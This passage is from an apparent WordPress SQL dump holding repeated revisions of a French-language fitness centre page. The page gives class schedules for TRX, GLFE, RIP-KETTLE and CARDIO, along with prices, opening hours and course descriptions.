class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;toto\r\ntiti\r\ntoutou&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:51:52', '2013-07-03 17:51:52', '', 11, 'http://www.crosstrainingcenter.be/?p=201', 0, 'revision', '', 0),
(202, 1, '2013-07-03 17:53:40', '2013-07-03 17:53:40', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 98%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;toto\r\ntiti\r\ntoutou&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:53:40', '2013-07-03 17:53:40', '', 11, 'http://www.crosstrainingcenter.be/?p=202', 0, 'revision', '', 0),
(203, 1, '2013-07-03 17:54:00', '2013-07-03 17:54:00', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;toto\r\ntiti\r\ntoutou&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation 